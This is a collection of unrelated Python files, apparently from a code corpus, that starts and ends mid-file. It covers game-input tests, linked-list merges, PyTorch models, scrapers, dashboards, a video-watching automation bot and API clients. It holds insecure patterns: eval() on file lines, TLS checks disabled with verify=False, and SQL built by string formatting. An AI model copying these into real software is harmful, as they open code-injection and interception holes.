    test_actions2 = []
    for _ in range(1000):
        test_actions2.append(random_action(len(buttons), 0.9))

    test_actions3 = []
    for _ in range(1000):
        test_actions3.append(random_action(len(buttons), 0.1))

    recording_test(buttons, variables, test_actions1, title="Random test #1")
    recording_test(buttons, variables, test_actions2, title="Random test #2")
    recording_test(buttons, variables, test_actions3, title="Random test #3")

# https://github.com/mwydmuch/ViZDoom/issues/354
def ankitkv_test():
    buttons = [B.MOVE_FORWARD, B.TURN_LEFT_RIGHT_DELTA]
    variables = [GV.POSITION_X, GV.ANGLE]

    test_actions1 = [
        [0.0, 90.0],
        [0.0, -90.0],
        [1.0, 0.0],
        [0.0, 90.0],
        [0.0, -90.0],
        [0.0, 90.0],
        [0.0, -90.0],
        [0.0, 90.0],
        [0.0, 90.0],
        [1.0, 0.0],
        [1.0, 0.0],
        [1.0, 0.0],
        [0.0, -90.0],
        [0.0, 90.0],
        [1.0, 0.0],
    ]

    test_actions2 = [
        [0.0, -90.0],
        [0.0, 90.0],
        [1.0, 0.0],
        [0.0, -90.0],
        [0.0, 90.0],
        [0.0, -90.0],
        [0.0, 90.0],
        [0.0, -90.0],
        [0.0, -90.0],
        [1.0, 0.0],
        [1.0, 0.0],
        [1.0, 0.0],
        [1.0, 0.0],
        [1.0, 0.0],
        [0.0, 90.0],
        [0.0, -90.0],
        [1.0, 0.0],
    ]

    recording_test(buttons, variables, test_actions1, title="ankitkv test #1")
    recording_test(buttons, variables, test_actions2, title="ankitkv test #2")

def delta_buttons_test():
    buttons = [B.MOVE_FORWARD_BACKWARD_DELTA,
               B.MOVE_LEFT_RIGHT_DELTA,
               B.LOOK_UP_DOWN_DELTA,
               B.TURN_LEFT_RIGHT_DELTA]

    variables = [GV.POSITION_X,
                 GV.POSITION_Y,
                 GV.ANGLE,
                 GV.PITCH]

    test_actions1 = []
    for i in range(10):
        new_action = [25, 15 if i % 2 == 0 else 0, -3, 10]
        test_actions1.append(new_action)

    for i in range(10):
        new_action = [-15, -10 if i % 2 == 0 else 0, 6, -20]
        test_actions1.append(new_action)

    recording_test(buttons, variables, test_actions1, title="Delta buttons test #1")

if __name__ == "__main__":
    random_test()
    ankitkv_test()
    delta_buttons_test()


# Definition for singly-linked list.
# class ListNode:
#     def __init__(self, val=0, next=None):
#         self.val = val
#         self.next = next
class Solution:
    def mergeTwoLists_iterative(self, l1: ListNode, l2: ListNode) -> ListNode:
        """
        Iterative solution
        Time Complexity: O(n+m)
        Space Complexity: O(n+m)
        """
        if l1 is None:
            return l2
        if l2 is None:
            return l1
        if l1.val > l2.val:
            l1, l2 = l2, l1
        res = l1
        pointer_res = res
        pointer_1 = l1.next
        pointer_2 = l2
        while pointer_1 or pointer_2:
            if pointer_1 is None:
                pointer_res.next = pointer_2
                return res
            elif pointer_2 is None:
                pointer_res.next = pointer_1
                return res
            else:
                if pointer_1.val <= pointer_2.val:
                    pointer_res.next = pointer_1
                    pointer_1 = pointer_1.next
                else:
                    pointer_res.next = pointer_2
                    pointer_2 = pointer_2.next
                pointer_res = pointer_res.next
        return res

    def mergeTwoLists_recuesive(self, l1: ListNode, l2: ListNode) -> ListNode:
        """
        Recursive solution
        Time Complexity: O(n+m)
        Space Complexity: O(n+m)
        """
        if l1 is None:
            return l2
        if l2 is None:
            return l1
        if l1.val <= l2.val:
            l1.next = self.mergeTwoLists_recuesive(l1.next, l2)
            return l1
        else:
            l2.next = self.mergeTwoLists_recuesive(l1, l2.next)
        return l2

    def mergeTwoLists_iterative_sufficient(self, l1: ListNode, l2: ListNode) -> ListNode:
        """
        Iterative sufficient solution
        Time Complexity: O(n+m)
        Space Complexity: O(1)
        """
        if l1 is None:
            return l2
        if l2 is None:
            return l1
        if l1.val > l2.val:
            l1, l2 = l2, l1

        pointer_1 = l1
        pointer_2 = l2
        while True:
            while pointer_1.next and pointer_1.next.val <= pointer_2.val:
                pointer_1 = pointer_1.next
            if pointer_1.next is None:
                pointer_1.next = pointer_2
                break
            if pointer_1.next.val > pointer_2.val:
                pointer_1.next, pointer_2 = pointer_2, pointer_1.next
                pointer_1 = pointer_1.next

        return l1

    def mergeTwoLists(self, l1: ListNode, l2: ListNode) -> ListNode:
        """
        Iterative super cooooool solution
        Time Complexity: O(n+m)
        Space Complexity: O(1)
        """
        res = ListNode(-1)
        prev = res
        while l1 and l2:
            if l1.val <= l2.val:
                prev.next = l1
                l1 = l1.next
            else:
                prev.next = l2
                l2 = l2.next
            prev = prev.next

        prev.next = l1 if l2 is None else l2
        return res.next


from torch import nn
import torch
import numpy as np
import torch.nn.functional as F
from torchvision.transforms import Normalize

class Multisensory_Fusion(nn.Module): # nn.Module
    def __init__(self, args):
        super(Multisensory_Fusion, self).__init__()
        self.args = args
        self.batch_size = args.batch_size
        self.unimodal = True
        if args.sensor == 'All':
            self.unimodal = False

        # for Multimodal
        self.layer1 = nn.Sequential(
            # 4 x 32 x 32
            nn.Conv2d(4, 64, kernel_size=2, stride=2),
            # 64 x 16 x 16
            nn.LeakyReLU(),
            nn.BatchNorm2d(64),
            nn.Conv2d(64, 32, kernel_size=3, stride=1, padding=1),
            # 32 x 16 x 16
            nn.LeakyReLU(),
            nn.BatchNorm2d(32)
        ).to(self.args.device_id)

        self.layer2 = nn.Sequential(
            # 34 x 16 x 16
            nn.Conv2d(34, 32, kernel_size=3, stride=1, padding=1),
            # 32 x 16 x 16
            nn.LeakyReLU(),
            nn.BatchNorm2d(32),
        ).to(self.args.device_id)

        self.layer3 = nn.Sequential(
            # 32 x 16 x 16
            nn.Conv2d(32, 32, kernel_size=2, stride=2),
            # 32 x 8 x 8
            nn.LeakyReLU(),
            nn.BatchNorm2d(32),
        ).to(self.args.device_id)

        # for Unimodal
        # self.conv1r = nn.Conv2d(3, 8, kernel_size=2, stride=2).to(self.args.device_id)
        # self.conv2r = nn.Conv2d(8, 8, kernel_size=3, stride=1, padding=1).to(self.args.device_id)
        # self.conv3r = nn.Conv2d(8, 8, kernel_size=2, stride=2).to(self.args.device_id),

    def forward(self, r, d, m, t):
        # batch normalization
        if self.args.sensor == 'All':
            r = self.norm_vec(r, range_in=[0, 255])
            d = self.norm_vec(d, range_in=[0, 255])
            m = self.norm_vec(m)
            t = self.norm_vec(t)
            im = torch.cat((r, d), 2)
            im = im.to(self.args.device_id)
        elif self.args.sensor == 'force_torque':
            t = self.norm_vec(t)

        # r[i] :   torch.Size([3, 3, 32, 32])
        # d[i] :   torch.Size([3, 1, 32, 32])
        # m[i] :   torch.Size([3, 13])
        # t[i] :   torch.Size([3])
        # im[i] :   torch.Size([3, 4, 32, 32])
        r = r.to(self.args.device_id)
        d = d.to(self.args.device_id)
        m = m.to(self.args.device_id)
        t = t.to(self.args.device_id)
        out = torch.Tensor().to(self.args.device_id)

        for i in range(self.batch_size):
            if t.shape[1] != 0:     # t is not None
                # t[i].shape == 3
                tt = t[i].unsqueeze(1).unsqueeze(1)
                # tt.shape == 3, 1, 1
                tt = tt.repeat(1, 16, 16)
                # tt.shape == 3, 16, 16
                tt = tt.unsqueeze(1)
                # tt.shape == 3, 1, 16, 16

                if self.unimodal:
                    result = tt
            if m.shape[1] != 0:     # m is not None
                # m[i].shape == 3, 16
                mm = m[i].unsqueeze(1)
                # mm.shape == 3, 1, 16
                mm = mm.repeat(1, 16, 1)
                # mm.shape == 3, 16, 16
                mm = mm.unsqueeze(1)
                # mm.shape == 3, 1, 16, 16

                if self.unimodal:
                    result = mm
            if self.args.sensor == 'hand_camera':   # unimodal
                # r[i].shape == 3, 3, 32, 32
                rr = self.conv1r(r[i])
                # rr.shape == 3, 8, 16, 16
                rr = self.conv2r(rr)
                # im.shape == 3, 8, 16, 16
                rr = self.conv3r(rr)
                # im.shape == 3, 8, 8, 8
                result = rr.unsqueeze(0)
                # result.shape == 1, 3, 8, 8, 8

            if self.args.sensor == 'All':
                # im[i].shape == 3, 4, 32, 32
                # batch norm
                imim = self.layer1(im[i])
                # imim.shape == 3, 32, 16, 16
                multimodal = torch.cat((imim, tt, mm), 1)
                # multimodal.shape == 3, 34, 16, 16
                multimodal = self.layer2(multimodal) + imim
                # multimodal.shape == 3, 32, 16, 16
                multimodal = self.layer3(multimodal)
                # multimodal.shape == 3, 32, 8, 8
                result = multimodal.unsqueeze(0)
                # result.shape == 1, 3, 32, 8, 8
            out = torch.cat((out, result), 0)

        out = out.view(self.batch_size, self.args.seq_len, self.args.n_features)
        return out

    ## todo : Normalization!!!
    def norm_vec(self,v, range_in=None, range_out=None):
        if range_out is None:
            range_out = [-1, 1]
        if range_in is None:
            range_in = [torch.min(v), torch.max(v)]

        r_out = range_out[1] - range_out[0]
        r_in = range_in[1] - range_in[0]
        v = (r_out * (v - range_in[0]) / r_in) + range_out[0]
        return v

def norm_vec_np(v, range_in=None, range_out=None):
    if range_out is None:
        range_out = [0.0, 1.0]
    if range_in is None:
        range_in = [np.min(v,0), np.max(v,0)]
    r_out = range_out[1] - range_out[0]
    r_in = range_in[1] - range_in[0]
    v = (r_out * (v - range_in[0]) / r_in) + range_out[0]
    v = np.nan_to_num(v, nan=0.0)
    return v


# the input of the network is the original image (3 channels, RGB) and one channel to indicate the segmentation prediction of the last frame

import numpy as np
from PIL import Image
import torch
import torch.nn as nn
import torch.optim as optim
from torch.utils.data import DataLoader
from torchvision import transforms
import torchvision.models as models
import os
from datetime import datetime
from collections import OrderedDict
import cv2

from Config_4C import Config_4C
from Foreground4C import Foreground4C
from DataSet_4C_mask import DataSet_4C_mask

def generate_folder_dataset(root_image_path, root_label_path, root_prediction_path):
  target_frame_name_png_list = os.listdir(root_prediction_path)
  target_frame_name_png_list.sort()

  image_path_list = []
  label_path_list = []
  prediction_path_list = []

  for target_frame_name_png in target_frame_name_png_list:
    target_frame_name = target_frame_name_png.split(".")[0]
    target_frame_name_jpg = target_frame_name + ".jpg"

    image_path = os.path.join(root_image_path, target_frame_name_jpg)
    label_path = os.path.join(root_label_path, target_frame_name_png)
    prediction_path = os.path.join(root_prediction_path, target_frame_name_png)

    image_path_list.append(image_path)
    label_path_list.append(label_path)
    prediction_path_list.append(prediction_path)

  folder_dataset = {"image": image_path_list, "label": label_path_list, "prediction": prediction_path_list}
  return folder_dataset

def main():

  if Config_4C.first_train == True:
    deeplab = torch.hub.load('pytorch/vision:v0.4.2', 'deeplabv3_resnet101', pretrained=True)
    deeplab = deeplab.cuda()
    foreground = Foreground4C(deeplab)
  else:
    foreground = torch.load(Config_4C.mask_weight_path)

  foreground = foreground.cuda()

  folder_dataset = generate_folder_dataset(Config_4C.root_image_path, Config_4C.root_label_path, Config_4C.root_prediction_path)

  transform_image = transforms.Compose([
    transforms.Resize((Config_4C.trans_resize_size, Config_4C.trans_resize_size)),
    transforms.ToTensor(),
    transforms.Normalize(mean=[0.485, 0.456, 0.406, 0.4],
                         std=[0.229, 0.224, 0.225, 0.22])
  ])

  transform_label = transforms.Compose([
    transforms.Resize((Config_4C.trans_resize_size, Config_4C.trans_resize_size)),
    transforms.ToTensor(),
  ])

  dataset_4C = DataSet_4C_mask(folder_dataset, transform_image, transform_label)

  train_dataloader = DataLoader(dataset_4C,
                                shuffle=True,
                                num_workers=Config_4C.worker_num,
                                batch_size=Config_4C.batch_num)

  optimizer = optim.Adam(foreground.parameters(), lr=Config_4C.lr)

  criterion = nn.BCELoss(size_average=True)

  start_time = datetime.now()

  for epoch_id in range(Config_4C.epoch_num):
    for iter_id, data in enumerate(train_dataloader, 0):

      try:
        inputs, labels = data
        inputs = inputs.cuda()
        labels = labels.cuda()

        foreground.zero_grad()

        fx = foreground(inputs)

        fx = fx.view(-1)
        y = labels.view(-1)

        seg_loss = criterion(fx, y)
        seg_loss.backward()
        optimizer.step()

        loss_value = seg_loss.detach().cpu().numpy()

        current_time = datetime.now()
        used_time = current_time - start_time

        print(str(epoch_id) + " : " + str(iter_id) + ", loss: " + str(loss_value) + ", time: " + str(used_time))
      except:
        pass

    if (epoch_id%Config_4C.save_epochs==0) and (epoch_id>0):
      #torch.save(foreground.state_dict(), Config_3C.weight_path)
      torch.save(foreground, Config_4C.mask_weight_path)
      print("model saved")

if __name__ == '__main__':
  main()


import sys
from random import sample

lines = sys.stdin.read().splitlines()

count = 0
for line in lines:
    _, _, c = line.split('|')
    c = float(c)
    if c <= float(sys.argv[1]):
        count += 1

for line in sample(lines, count):
    print(line)


# -*- coding: utf-8 -*-
"""
Created on Mon Mar 16 09:33:04 2020

空氣污染監測網 網路爬蟲實作練習
能夠利用 selenium + BeautifulSoup 撰寫動態爬蟲
空氣污染監測網 網頁爬蟲
如果利用原本的 Request 的方式，會發現怎麼拉都是空資料。原因在於資料一樣是透過 JavaScript 動態載入的。

@author: chenlw
"""

# 打開瀏覽器

from selenium import webdriver
from selenium.webdriver.support.ui import Select
from bs4 import BeautifulSoup
import time

browser = webdriver.Chrome(executable_path='chromedriver')

browser.get("http://taqm.epa.gov.tw/taqm/tw/MonthlyAverage.aspx")

time.sleep(1)
# 模擬使用者操作行為，選擇/點擊

selectSite = Select(browser.find_element_by_id("ctl05_ddlSite"))
selectSite.select_by_value('29')
selectYear = Select(browser.find_element_by_id("ctl05_ddlYear"))
selectYear.select_by_value('2014')

browser.find_element_by_id('ctl05_btnQuery').click()
time.sleep(1)
# 取得資料，丟到 BeautifulSoup 解析

html_source = browser.page_source

soup = BeautifulSoup(html_source, 'html.parser')
table = soup.find('table', class_='TABLE_G')
print(table)

# 關閉瀏覽器
browser.quit();


from __future__ import print_function
import sys
from operator import add
from pyspark.sql import SparkSession
def toF(strF):
    strNum = strF.split(" ")
    return [int(strNum[0]), int(strNum[1])]
def standardF(f):
    newF = [f[0], 1]
    if (f[1] != 1):
        if (f[1] == 0):
            newF = [0, 1]
        else:
            newF[1] = f[1]
    return newF
def sumF(f1, f2):
    return [f1[0] * f2[1] + f2[0] * f1[1], f1[1] * f2[1]]
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Start: run <file>", file=sys.stderr)
        sys.exit(-1)
    spark = SparkSession\
        .builder\
        .appName("Run")\
        .getOrCreate()

    lines = spark.read.text(sys.argv[1]).rdd.map(lambda r: r[0])
    fractions = [standardF(toF(x)) for x in lines]
    sumOfF = [0, 1]
    for f in fractions:
        sumOfF = sumF(sumOfF, f)
    print("%f %f : %f" % (sumOfF[0], sumOfF[1], sumOfF[0] / sumOfF[1]))
    spark.stop()


import json
import logging
import pickle

import dash
import dash_html_components as html
from datetime import datetime, timezone
import dash_core_components as dcc
import dateparser
from dash.dependencies import Input, Output
from pandas import read_csv

from timexseries.data_ingestion import add_diff_columns
from timexseries.data_visualization.functions import create_timeseries_dash_children, line_plot_multiIndex

log = logging.getLogger(__name__)

param_file_nameJSON = 'configurations/configuration_test_covid19italy.json'

# Load parameters from config file.
with open(param_file_nameJSON) as json_file:  # opening the config_file_name
    param_config = json.load(json_file)  # loading the json

# Load containers dump.
with open(f"containers.pkl", 'rb') as input_file:
    timeseries_containers = pickle.load(input_file)

# Data visualization
children_for_each_timeseries = [{
    'name': s.timeseries_data.columns[0],
    'children': create_timeseries_dash_children(s, param_config)
} for s in timeseries_containers]

# Initialize Dash app.
app = dash.Dash(__name__)
server = app.server

now = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S')

disclaimer = [html.Div([
    html.H1("COVID-19 pandemic in Italy: monitoring and forecasting", style={'text-align': 'center'}),
    html.Hr(),
    dcc.Markdown('''
		TIMEX Results.
        '''),
    html.Div("Last updated at (yyyy-mm-dd, UTC time): " + str(now)),
    html.Br(),
    html.H2("Please select the data of interest:")
], style={'width': '80%', 'margin': 'auto'}
), dcc.Dropdown(
    id='timeseries_selector',
    options=[{'label': i['name'], 'value': i['name']} for i in children_for_each_timeseries],
    value='Time-series'
), html.Div(id="timeseries_wrapper"), html.Div(dcc.Graph(), style={'display': 'none'})]
tree = html.Div(children=disclaimer, style={'width': '80%', 'margin': 'auto'})

app.layout = tree

@app.callback(
    Output(component_id='timeseries_wrapper', component_property='children'),
    [Input(component_id='timeseries_selector', component_property='value')]
)
def update_timeseries_wrapper(input_value):
    try:
        children = next(x['children'] for x in children_for_each_timeseries if x['name'] == input_value)
    except StopIteration:
        return html.Div(style={'padding': 200})

    return children


#coding:utf-8
"""
info:   观看视频
author: NetFj@sina.com
file:   12_playtv.py.py
time:   2019/2/26.18:33
"""

import time,webbrowser,pyautogui,random

class study():
    def __init__(self):     #入口：定义软件名称，默认网站
        self.brower = r'C:\Program Files (x86)\Google\Chrome\Application\chrome.exe'
        self.site_name = r'https://www.xuexi.cn/'

    def open_site(self):    # 打开一个网站
        webbrowser.register('chrome', None, webbrowser.BackgroundBrowser(self.brower))
        webbrowser.get('chrome').open(self.site_name, new=1, autoraise=True)
        time.sleep(5)

        #窗口最大化
        pyautogui.keyDown('alt')
        pyautogui.press('space')
        pyautogui.press('x')
        pyautogui.keyUp('alt')

        #定位到页首
        pyautogui.hotkey('ctrl','home')
        time.sleep(2)

    def open_link(self,x,y):    #打开指定位置的链接
        time.sleep(1)
        pyautogui.click(x, y, button='left')
        time.sleep(3)

    def open_tv_xwlb_old(self):
        self.open_link(620, 513)
        pyautogui.press('pagedown', presses=2)
        pyautogui.moveTo(452, 219)
        time.sleep(5)
        pyautogui.moveTo(1114, 278)
        time.sleep(3)
        pyautogui.click(button='left')
        time.sleep(5)
        self.open_link(417, 850)
        pyautogui.press('down', presses=5)

    def open_tv_short(self):
        print('播放短片开始...')
        self.open_site()
        self.open_link(620, 513)
        pyautogui.press('pagedown', presses=2)
        self.open_link(460, 500)

        ts = 20+random.randint(0,30)

        self.open_link(435,850)
        pyautogui.press('down', presses=10)
        time.sleep(ts)
        pyautogui.hotkey('ctrl', 'w')  # 关闭

        self.open_link(435, 890)
        pyautogui.press('down', presses=10)
        time.sleep(ts)
        pyautogui.hotkey('ctrl', 'w')  # 关闭

        self.open_link(435, 930)
        pyautogui.press('down', presses=10)
        time.sleep(ts)
        pyautogui.hotkey('ctrl', 'w')  # 关闭

        self.open_link(435, 970)
        pyautogui.press('down', presses=10)
        time.sleep(ts)
        pyautogui.hotkey('ctrl', 'w')  # 关闭
        pyautogui.hotkey('ctrl', 'w')  # 关闭
        pyautogui.hotkey('ctrl', 'w')  # 关闭
        time.sleep(3)
        print('播放短片...结束!')

    def open_tv_xwlb(self):
        print('播放新闻联播开始...')
        self.open_link(620, 513)
        pyautogui.press('pagedown', presses=2)
        self.open_link(460, 500)
        self.open_link(1040, 795)
        self.open_link(405, 850)
        pyautogui.press('down', presses=5)
        print('将要播放30分钟...')
        time.sleep(30*60+random.randint(0,100))     #播放30多分钟
        pyautogui.hotkey('ctrl', 'w')  # 关闭
        pyautogui.hotkey('ctrl', 'w')  # 关闭
        pyautogui.hotkey('ctrl', 'w')  # 关闭
        pyautogui.hotkey('ctrl', 'w')  # 关闭
        time.sleep(3)
        print('播放新闻联播...结束!')

def main():
    stu = study()
    stu.open_tv_short()
    stu.open_tv_xwlb()

if __name__ == "__main__":
    main()


# -*- coding: UTF-8 -*-
'''
具体要求：
定义“动物”、“猫”、“动物园”三个类，动物类不允许被实例化。
动物类要求定义“类型”、“体型”、“性格”、“是否属于凶猛动物”四个属性，是否属于凶猛动物的判断标准是：“体型 >= 中等”并且是“食肉类型”同时“性格凶猛”。
猫类要求有“叫声”、“是否适合作为宠物”以及“名字”三个属性，其中“叫声”作为类属性，猫类继承自动物类。
动物园类要求有“名字”属性和“添加动物”的方法，“添加动物”方法要实现同一只动物（同一个动物实例）不能被重复添加的功能。
'''
from abc import ABCMeta, abstractmethod

class Zoo(object):

    def __init__(self, zoo_name = None):
        print('this is %s zoo' %zoo_name)
        self.animal_list = []

        if zoo_name is None:
            raise Exception("no name for a zoo")
        else :
            self.zoo_name = zoo_name

    def add_animal(self,animal = None):
        if hasattr(self, type(animal).__name__) is False:
            setattr(self, type(animal).__name__, [])
        animal_list = getattr(self, type(animal).__name__)
        if animal not in animal_list:
            animal_list.append(animal)
        #animal_list = getattr(self, type(animal).__name__)
        '''
        if animal in self.animal_list:
            print('this animal is existed!')

        else:
            self.animal_list.append(animal)
            print('add this animail into the zoo')
            self.__dict__[type(animal).__name__] = animal
        '''
class Animal(metaclass=ABCMeta):

    @abstractmethod
    def __init__(self, species, size, character):
        self.species = species
        self.size = size
        self.character = character

    @property
    def is_fierce(self):
        if self.species == '食肉' and self.character == '凶猛' and self.size != '小':
            return True
        return False

class Cat(Animal):

    voice = 'miao'

    def __init__(self, name, size, like_meat, is_fierce):
        super().__init__(size, like_meat, is_fierce)
        self.name = name

    @property
    def is_pet(self):
        return not self.is_fierce

if __name__ == "__main__":
    # 实例化动物园
    z = Zoo('time')
    # 实例化猫cat1
    cat1 = Cat('大花猫1', '食肉', '小型', '温顺')
    # 增加cat1到动物园
    z.add_animal(cat1)
    # 判断动物园是否有猫这种动物
    has_cat = getattr(z, 'Cat')
    print('zoo has cat:{}'.format(bool(has_cat)))
    #print('has_cat:', has_cat)


import sqlite3
from typing import *
conn = sqlite3.connect('MoneyTransfer.db')

c = conn.cursor()

#c.execute("INSERT INTO users VALUES ('Taylor', 'Swift', 500)")

t = ('Taylor',)
#c.execute("SELECT * FROM users WHERE username=?", t)
#values = ('150000$q4CeejTK$74036e73646a965131f622b2ee371849cbba7e224a00ca3b32ebe7c60c5d7dd6',)
#c.execute("SELECT * FROM accessTokens WHERE token=?", values)
#values = ('Philippejlyu',)
#c.execute("SELECT username FROM users WHERE username=?", values)
#print(c.fetchone())
#t = (42, 'cindy',)
#c.execute("UPDATE users SET balance=? WHERE username=?", t)
#values = ('asdf', 'ghjk', 50.45, 234)
#c.execute("INSERT INTO transactions VALUES ('%s', '%s', %f, %i)" % values)
t = ('philippejlyu',)
c.execute("SELECT * FROM transactions WHERE recipient=?", t)
print(c.fetchall())
conn.commit()
conn.close()

'''
def get_user_record(username: str) -> Optional[Tuple]:
    """
    Return a tuple of the user information
    """
    conn = sqlite3.connect("MoneyTransfer.db")
    c = conn.cursor()
    t = (username,)
    c.execute("SELECT * FROM users WHERE username=?", t)
    result = c.fetchone()
    c.close()
    conn.commit()
    return result

print(get_user_record('cindy'))
print(type(get_user_record('cindy')[2]))
'''


#!/usr/local/bin/python
# -*- coding: utf-8 -*-

from threading import Timer
from time import sleep
from Weather import *
import LoadConfig
import Fetion
import time
import sys
import webapp2

def GetTimeString():
	return time.strftime("%y/%m/%d %H:%M:%S", time.localtime())
def PrintLog(message):
	return
	#print(message)
	#sys.stdout.flush()
	#sys.stderr.flush()
class Scheduler:
	def __init__(self, file_name, fetion):
		self.file_name=file_name
		self.schedules=[]
		self.message_sent_today=False
		self.fetion=fetion
		self.reloadSchedule()
	def reloadSchedule(self):
		self.schedules=[]
		try:
			file=open(self.file_name, 'r')
			for line in file:
				self.schedules.append( eval(line) )
			file.close()
		except IOError:
			return
	def processTasks(self):
		PrintLog('scheduling tasks...')
		for (name,city,prefix) in self.schedules:
			PrintLog('schedule (%s,%s,%s)'%(name,city,prefix))
			message=prefix+getWeather(city)
			self.sendMessage(name, message)
			sleep(10)
	def sendMessage(self, name, message):
#		PrintLog('sending to %s [%s]'%(name,message))
		self.fetion.sendMessage(name, message)

class MainPage(webapp2.RequestHandler):
        def post(self):
                config = LoadConfig.LoadConfig("config.ini")
                fetion  = Fetion.FetionClient(config['mobileno'],config['mobilepassword'])
                scheduler = Scheduler('schedules', fetion)
                scheduler.processTasks()
                self.response.headers['Content-Type'] = 'text/plain'
                self.response.write('running jobs...')

app = webapp2.WSGIApplication([('/send', MainPage)],
                              debug=True)


# -*- coding: utf-8 -*- import sys reload(sys) sys.setdefaultencoding('utf-8')

__author__ = "anton"
__date__   = "$18.08.2014 22:51:24$"

import shelve
db = shelve.open( 'people-shelve' )
for key in db:
    print( key, '=>\n ', db[key] )
print( db['sue']['name'] )
db.close()


import requests
import pymysql.cursors
import global_demo
import time
"""
周期管理模块的接口
@lihuanhuan@focusmedia.cn
"""

class AdCycleLock:
    @staticmethod
    def get_adcycle_lock_city():
        """
        检查当前城市是否有发布锁,使用批量查询接口查询
        :return: 返回有发布锁的周期的ID
        """
        get_city_lock = global_demo.GL_URL_AD_CYCLE + '/v1/adCycle/locks/batchLockQueryByCityAndDates'
        payload = {
             "items": [
                {
                    "cityId": global_demo.GL_CITY_ID,
                    "startDate": "2019-08-25",
                    "endDate": "2021-12-31"
                }
            ]
        }
        result = requests.post(get_city_lock, json=payload, headers=global_demo.GL_HEADERS, verify=False)
        content = result.json()['items']
        adcycle_id_list = []
        for key in content:
            if len(key['locks']) == 0:
                return False
            else:
                for adcycle in key['locks']:
                    adcycle_id_list.append(adcycle['adCycle']['id'])
        return adcycle_id_list

    @staticmethod
    def put_adcycle_lock_city(ad_cycle_id):
        # 给城市加上发布锁
        put_city_lock = global_demo.GL_URL_AD_CYCLE + '/v1/adCycle/lock/'+global_demo.GL_CITY_ID+'/'+ad_cycle_id
        result = requests.post(put_city_lock, headers=global_demo.GL_HEADERS, verify=False)
        return result

    @staticmethod
    def delete_adcycle_lock_city(ad_cycle_id):
        # 解发布锁
        delete_city_lock = global_demo.GL_URL_AD_CYCLE + '/v1/adCycle/lock/'+global_demo.GL_CITY_ID+'/'+ad_cycle_id
        result = requests.delete(delete_city_lock, headers=global_demo.GL_HEADERS, verify=False)
        if result.status_code == 204:
            return True
        else:
            return False

    @staticmethod
    def delete_all_adcycle_lock():
        result = AdCycleLock().get_adcycle_lock_city()
        """
        如果获取城市发布锁的结果为false,直接返回
        如果获取城市发布锁的结果为true，删除发布锁，删除时对删除结果校验，删除成功继续，删除失败，返回false
        """
        if len(result)==0:
            return True
        else:
            for key in result:
                result = AdCycleLock().delete_adcycle_lock_city(key)
                if result:
                    continue
                else:
                    return False

            return True

# adCycleLock().delete_adcycle_lock_city('2019W42')


#!/usr/bin/env python
#***************************************************************************/
#*
#*                  Copyright (c) 2007 Vonage Holdings Corp.
#*                         All rights reserved.
#*
#*
#***************************************************************************/
#

import vonage.util.vonlogging as vonlogging
import xml.dom.minidom
from xml import xpath
from vonage.util.xml_utils import *
from contact_manager.xml_models import Contact
from contact_manager.xml_models import ContactAddress
from contact_manager.xml_models import ContactEmail
from contact_manager.xml_models import ContactGroup
from contact_manager.xml_models import ContactNote
from contact_manager.xml_models import ContactOther
from contact_manager.xml_models import ContactTelephoneNumber
from contact_manager.xml_models import ContactUri
from contact_manager.xml_models import ContactInstantMessenger
from contact_manager.xml_models import ContactSetting

#map the xml element name to a table name.  not all elements will be handled this way
TABLE_NAMES = {
	'contact_address': 'contact_addresses',	'contact_email': 'contact_emails', 'contact_instant_messenger': 'contact_instant_messengers',
	'contact_note': 'contact_notes', 'contact_other': 'contact_others', 'contact_setting': 'contact_settings',
	'contact_telephone_number': 'contact_telephone_numbers', 'contact_uri': 'contact_uris'
}

#map the table name to a list of column names that are safe to insert/update from XML
COLUMN_NAMES = {
	'contact_addresses': ['address_type', 'description', 'address', 'city', 'state', 'country', 'postcode'],
	'contact_emails': ['email_type', 'description', 'email_address'],
	'contact_instant_messengers': ['description', 'im_service', 'im_username'],
	'contact_notes': ['description', 'note'],
	'contact_others': ['description', 'data'],
	'contact_settings': ['setting_type', 'setting_data'],
	'contact_telephone_numbers': ['telephone_type', 'description', 'display_number'],
	'contact_uris': ['uri_type', 'description', 'uri'],
	'contacts': ['first_name', 'middle_name', 'last_name', 'nick_name', 'title', 'suffix', 'company_name']
}

IGNORE_WITHOUT = {
	'contact_emails': 'email_address',
	'contact_instant_messengers': 'im_username',
	'contact_notes': 'note',
	'contact_others': 'data',
	'contact_settings': 'setting_data',
	'contact_telephone_numbers': 'display_number',
	'contact_uris': 'uri',
}

def _get_column_values_for_table(table_name, element):
	column_names = []
	params = {}

	for col_name in COLUMN_NAMES[table_name]:
		for node in element.childNodes:
			if node.nodeType == node.ELEMENT_NODE and node.nodeName == col_name:
				text = get_child_node_text(node)
				if text:
					params[col_name] = text
				else:
					# XXX: Should this be None?
					params[col_name] = ""
				column_names.append(col_name)
	return column_names, params

def _accept_object_creation(name, params):
	key = IGNORE_WITHOUT.get(name, None)

	if key:
		val = params.get(key, None)
		return (val and str(val).strip())
	else:
		# no IGRNORE_WITHOUT entry for name.  Iterate over all columns amd make sure at least one column is set
		for col in COLUMN_NAMES[name]:
			val = params.get(col, None)
			if val and str(val).strip():
				return True
		return False # nothing at all was set for this object

def _create_object_for_table_name(contact, name, params, element):
	if not _accept_object_creation(name, params):
		return

	if name == 'contact_addresses':
		address = ContactAddress()
		address.__dict__.update(params)
		contact.contact_address.append(address)
	elif name == 'contact_emails':
		email = ContactEmail()
		email.__dict__.update(params)
		_handle_primary(email, element)
		contact.contact_email.append(email)
	elif name == 'contact_instant_messengers':
		im = ContactInstantMessenger()
		im.__dict__.update(params)
		contact.contact_instant_messenger.append(im)
	elif name == 'contact_notes':
		note = ContactNote()
		note.__dict__.update(params)
		contact.contact_note.append(note)
	elif name == 'contact_others':
		other = ContactOther()
		other.__dict__.update(params)
		contact.contact_other.append(other)
	elif name == 'contact_settings':
		setting = ContactSetting()
		setting.__dict__.update(params)
		contact.contact_setting.append(setting)
	elif name == 'contact_telephone_numbers':
		tn = ContactTelephoneNumber()
		tn.__dict__.update(params)
		_handle_primary(tn, element)
		_handle_speed_dial(tn, element)
		contact.contact_telephone_number.append(tn)
	elif name == 'contact_uris':
		uri = ContactUri()
		uri.__dict__.update(params)
		contact.contact_uri.append(uri)

def _add_children_objects(contact, root, xml_name):
	elements = xpath.Evaluate('//contact/' + xml_name, root)
	for el in elements:
		params = _get_column_values_for_table(TABLE_NAMES[xml_name], el)[1]
		_create_object_for_table_name(contact, TABLE_NAMES[xml_name], params, el)

def _build_serializers_from_xml(root, log):
	contact = Contact()

	if root.hasAttribute('id'):
